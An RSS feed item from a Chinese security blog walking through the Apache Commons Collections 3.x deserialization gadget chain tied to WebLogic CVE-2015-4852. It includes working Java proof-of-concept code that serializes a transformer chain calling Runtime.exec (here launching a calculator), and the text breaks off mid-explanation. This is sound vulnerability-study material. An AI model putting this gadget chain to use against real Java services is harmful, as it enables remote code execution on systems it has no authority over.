<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>教程 on 洛鹿松的小站</title>
        <link>https://www.fufu.me/tags/%E6%95%99%E7%A8%8B/</link>
        <description>Recent content in 教程 on 洛鹿松的小站</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <lastBuildDate>Wed, 11 Jun 2025 00:13:01 +0800</lastBuildDate><atom:link href="https://www.fufu.me/tags/%E6%95%99%E7%A8%8B/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Apache-CC3.x链分析</title>
        <link>https://www.fufu.me/apache-cc3.x/</link>
        <pubDate>Wed, 11 Jun 2025 00:13:01 +0800</pubDate>
        
        <guid>https://www.fufu.me/apache-cc3.x/</guid>
        <description>&lt;img src="https://www.fufu.me/img/202506110020489.png" alt="Featured image of post Apache-CC3.x链分析" /&gt;&lt;p&gt;前面我们了解了java的序列化机制，也初步接触了利用链的概念，为了加深对反序列化漏洞的理解，这里来复现一条存在于 &lt;code&gt;apache commons-collections.jar&lt;/code&gt; 中的pop链，要知道这个类库使用广泛，所以很多大型的应用也存在着这个漏洞，这里就以 &lt;code&gt;Weblogic CVE-2015-4852&lt;/code&gt; 来说说反序列化漏洞的具体利用方法。&lt;/p&gt;
&lt;h2 id=&#34;漏洞利用成功条件&#34;&gt;漏洞利用成功条件
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;payload：需要让服务端执行的语句：比如说弹计算器还是执行远程访问等；&lt;/li&gt;
&lt;li&gt;反序列化利用链：服务端中存在的反序列化利用链，会一层层剥开我们的exp，最后执行payload。(在此篇中就是cc利用链)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readObject()&lt;/code&gt; 函数的覆写利用点：服务端中存在可以与我们漏洞链相接并且可以从外部访问的 &lt;code&gt;readObject()&lt;/code&gt; 函数覆写点；&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;攻击流程&#34;&gt;攻击流程
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;客户端构造payload，并进行一层层的封装，完成最后的exp；&lt;/li&gt;
&lt;li&gt;exp发送到服务端，进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数，它会反序列化恢复我们构造的exp去形成一个恶意类exp_1；&lt;/li&gt;
&lt;li&gt;这个恶意类exp_1在接下来的处理流程，会执行exp_1中的一个方法，在方法中会对exp_1的内容进行函数处理，从而一层层地解析exp_1变成exp_2、exp_3等；&lt;/li&gt;
&lt;li&gt;最后在一个可执行任意命令的函数中执行payload，完成远程代码执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;环境准备&#34;&gt;环境准备
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/zXbI8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;jdk1.7
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/zh-cn/idea/download&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;IntelliJ IDEA
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/jnzhl&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Weblogic-10.3.6
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/rY2fg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;commons-collections-3.1.jar
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

          &lt;link rel=&#34;stylesheet&#34; href=&#34;https://www.fufu.me/css/vendors/admonitions.36e8c5929a3d594ec79663bfb5a00cc53d4137685c16e6a0d50b5f63e97a0150.css&#34; integrity=&#34;sha256-NujFkpo9WU7HlmO/taAMxT1BN2hcFuag1QtfY&amp;#43;l6AVA=&#34; crossorigin=&#34;anonymous&#34;&gt;
  &lt;div class=&#34;admonition note&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 576 512&#34;&gt;&lt;path d=&#34;M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Note&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构，可以加速大多数重要Java应用程序的开发。从那时起，它已经成为Java中公认的集合处理标准。&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h2 id=&#34;poc代码&#34;&gt;PoC代码
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;package Step3;

import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class PoC1 {

    public static Object GeneratePayload() throws Exception {
        Transformer transformerChain = getTransformer();
        Map innermap = new HashMap();
        innermap.put(&amp;quot;value&amp;quot;, &amp;quot;re111&amp;quot;);
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

        Class cls = Class.forName(&amp;quot;sun.reflect.annotation.AnnotationInvocationHandler&amp;quot;);
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);  //通过setAccessible(true)的方式关闭安全检查
        return ctor.newInstance(Retention.class, outmap);
    }

    private static Transformer getTransformer() {
        final Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[]{String.class, Class[].class}, new Object[]{&amp;quot;getRuntime&amp;quot;, new Class[0]}),
                new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[]{String.class}, new String[]{&amp;quot;galculator&amp;quot;}),
                new ConstantTransformer(1)
        };
        return new ChainedTransformer(transforms);
    }

    public static void main(String[] args) throws Exception {
        String fileName = &amp;quot;./payload.bin&amp;quot;;
        GeneratePayloadFile(GeneratePayload(), fileName);
        TriggerPayload(fileName);
    }

    public static void GeneratePayloadFile(Object instance, String file) throws Exception {
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void TriggerPayload(String file) throws Exception {

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果出现很多包缺失的报错，则需要导入 &lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/rY2fg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;commons-collections-3.1.jar
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
 包&lt;/p&gt;
&lt;p&gt;IDEA菜单栏-&amp;gt;文件-&amp;gt;项目结构-&amp;gt;库-&amp;gt;添加-&amp;gt;按路径添加jar包即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/20250605151954366.png&#34;
	width=&#34;1529&#34;
	height=&#34;516&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/20250605151954366_hu16717351814288682926.png 480w, https://www.fufu.me/apache-cc3.x/images/20250605151954366_hu5845978913178611458.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_58&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;296&#34;
		data-flex-basis=&#34;711px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;transformer-链构造&#34;&gt;Transformer 链构造
&lt;/h3&gt;&lt;p&gt;Commons Collections实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;org.apache.commons.collections.Transformer&lt;/code&gt; 这个接口可以满足固定的类型转化需求，我们的漏洞利用就是在于这个点。&lt;/p&gt;
&lt;p&gt;我们在使用 &lt;code&gt;Apache Commons Collections&lt;/code&gt; 库进行 Gadget 构造时主要利用的就是这个 &lt;code&gt;transformer&lt;/code&gt; 接口，它只有一个待实现的方法 &lt;code&gt;transform()&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要用于将一个对象通过 &lt;code&gt;transform&lt;/code&gt; 方法转换为另一个对象，在库中众多对象转换的接口中存在一个 &lt;code&gt;Invoker&lt;/code&gt; 类型的转换接口 &lt;code&gt;InvokerTransformer&lt;/code&gt;，并且同时还实现了 &lt;code&gt;Serializable&lt;/code&gt; 接口。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; does not exist&amp;quot;);
            } catch (IllegalAccessException var6) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; cannot be accessed&amp;quot;);
            } catch (InvocationTargetException var7) {
                throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; threw an exception&amp;quot;, var7);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;InvokerTransformer&lt;/code&gt; 类中实现的 &lt;code&gt;transform()&lt;/code&gt; 接口使用 Java 反射机制获取反射对象 &lt;code&gt;input&lt;/code&gt; 中的参数类型为 &lt;code&gt;iParamTypes&lt;/code&gt; 的方法 &lt;code&gt;iMethodName&lt;/code&gt;，然后使用对应参数 &lt;code&gt;iArgs&lt;/code&gt; 调用获取的方法，并将执行结果返回。由于其实现了 Serializable 接口，因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的，为命令执行创造了条件，但是只有这里的话显然并不能RCE。&lt;/p&gt;
&lt;p&gt;继续看 &lt;code&gt;ChainedTransformer&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    ...

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i &amp;lt; this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以看出来是挨个遍历 &lt;code&gt;transformer&lt;/code&gt;，调用&lt;code&gt;ChainedTransformer&lt;/code&gt; 的 &lt;code&gt;transform&lt;/code&gt; 方法然后返回object，返回的object继续进入循环，成为下一次调用的参数，所以我们可以通过这里来执行命令。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private static Transformer getTransformer() {
    final Transformer[] transforms = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[]{String.class, Class[].class}, new Object[]{&amp;quot;getRuntime&amp;quot;, new Class[0]}),
            new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[]{String.class}, new String[]{&amp;quot;galculator&amp;quot;}),
            new ConstantTransformer(1)
    };
    return new ChainedTransformer(transforms);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一链条构成了核心 payload 的代码执行链，每一步的具体含义。&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;步骤&lt;/th&gt;
          &lt;th&gt;说明&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;ConstantTransformer(Runtime.class)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;初始返回 &lt;code&gt;java.lang.Runtime.class&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;getMethod(&amp;quot;getRuntime&amp;quot;, ...)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;调用反射获取 &lt;code&gt;Runtime.getRuntime()&lt;/code&gt; 方法对象&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;invoke(null, new Object[0])&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;执行 &lt;code&gt;getRuntime()&lt;/code&gt; 方法，返回 &lt;code&gt;Runtime.getRuntime()&lt;/code&gt; 实例&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;exec(&amp;quot;galculator&amp;quot;)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;执行命令 &lt;code&gt;galculator&lt;/code&gt;（Linux 图形计算器）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;ConstantTransformer(1)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;后续调用无害的返回值，掩盖攻击目的&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;环境中不可能直接存在 &lt;code&gt;Runtime.class&lt;/code&gt;，所以我们通过构造来产生。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ConstantTransformer&lt;/code&gt; 类初始化传入 &lt;code&gt;this.iConstant&lt;/code&gt; 参数直接return，相当于this的作用。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class ConstantTransformer implements Transformer, Serializable {
 static final long serialVersionUID = 6374440726369055124L;
 public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null);
 private final Object iConstant;

 public ConstantTransformer(Object constantToReturn) {
     this.iConstant = constantToReturn;
 }

 public Object transform(Object input) {
     return this.iConstant;
 }
}
&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;p&gt;向 &lt;code&gt;ChainedTransformer&lt;/code&gt; 传入 &lt;code&gt;transformers&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后构造的命令参数传入 &lt;code&gt;InvokerTransformer&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里都会赋值,然后就会调用到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; does not exist&amp;quot;);
        } catch (IllegalAccessException var6) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; cannot be accessed&amp;quot;);
        } catch (InvocationTargetException var7) {
            throw new FunctorException(&amp;quot;InvokerTransformer: The method &#39;&amp;quot; + this.iMethodName + &amp;quot;&#39; on &#39;&amp;quot; + input.getClass() + &amp;quot;&#39; threw an exception&amp;quot;, var7);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过反射达成如下效果，这条语句就是我们想要构建的核心 payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;Class.forName(&amp;quot;java.lang.Runtime&amp;quot;).getMethod(&amp;quot;getRuntime&amp;quot;).invoke(Class.forName(&amp;quot;java.lang.Runtime&amp;quot;)).exec(&amp;quot;galculator&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;执行 &lt;code&gt;Class.forName(&amp;quot;java.lang.Runtime&amp;quot;).getMethod(&amp;quot;getRuntime&amp;quot;)&lt;/code&gt; 这部分语句，&lt;/p&gt;
&lt;p&gt;也就是执行&lt;code&gt;Runtime.class.getMethod(&amp;quot;getRuntime&amp;quot;)&lt;/code&gt;，获得Runtime的getRuntime方法定义。&lt;/p&gt;
&lt;p&gt;由于上述是静态方法，所以&lt;code&gt;invoke(Class.forName(&amp;quot;java.lang.Runtime&amp;quot;))&lt;/code&gt;也可以写成&lt;code&gt;invoke(null)&lt;/code&gt;，执行上述方法得到一个实例，然后用这个实例调用exec(&amp;ldquo;galculator&amp;rdquo;)弹出计算器&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h3 id=&#34;封装成map&#34;&gt;封装成Map
&lt;/h3&gt;&lt;p&gt;要想实现RCE还需要一个入口点，使得应用在反序列化的时候能够通过一条调用链来触发 &lt;code&gt;InvokerTransformer&lt;/code&gt; 中的 &lt;code&gt;transform()&lt;/code&gt; 方法，有两个类中使用了可疑的 &lt;code&gt;transform()&lt;/code&gt; 方法： &lt;code&gt;LazyMap&lt;/code&gt; 和 &lt;code&gt;TransformedMap&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TransformedMap&lt;/code&gt; 中一共有三处函数使用了transform方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081655900.png&#34;
	width=&#34;2079&#34;
	height=&#34;1321&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081655900_hu16797668860235496195.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081655900_hu5960003941667884196.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_63&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;157&#34;
		data-flex-basis=&#34;377px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;当然，光是使用了transform这个方法还不行，我们还需要确认是使用了&lt;code&gt;ChainedTransformer.transform()&lt;/code&gt;，我们看一下 &lt;code&gt;this.valueTransformer&lt;/code&gt; 的类型&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081728546.png&#34;
	width=&#34;1421&#34;
	height=&#34;591&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081728546_hu11172588542927478617.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081728546_hu16698640920507920963.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_64&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;240&#34;
		data-flex-basis=&#34;577px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;可以看到 &lt;code&gt;this.valueTransformer&lt;/code&gt; 的类型是Transformer，所以在构造poc的时候只需要将他的值赋为我们精心构造的 &lt;code&gt;ChainedTransformer&lt;/code&gt; 就行，这里只要 &lt;code&gt;valueTransformer&lt;/code&gt; 可控即可利用上面的调用链&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们初始化的时候是可以控制的，怎么触发呢&lt;/p&gt;
&lt;p&gt;&lt;code&gt;checkSetValue()&lt;/code&gt; 方法可以办到这一点，它会将我们传入的value对象使用 &lt;code&gt;transform()&lt;/code&gt; 方法进行处理&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}
&lt;/code&gt;&lt;/pre&gt;

  &lt;div class=&#34;admonition caution&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 512 512&#34;&gt;&lt;path d=&#34;M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Caution&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;错误：当进入 &lt;code&gt;put&lt;/code&gt; 方法的时候会触发valueTransformer的构造方法，也可以调用 &lt;code&gt;transform()&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object transformValue(Object object) {
 return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
&lt;/code&gt;&lt;/pre&gt;
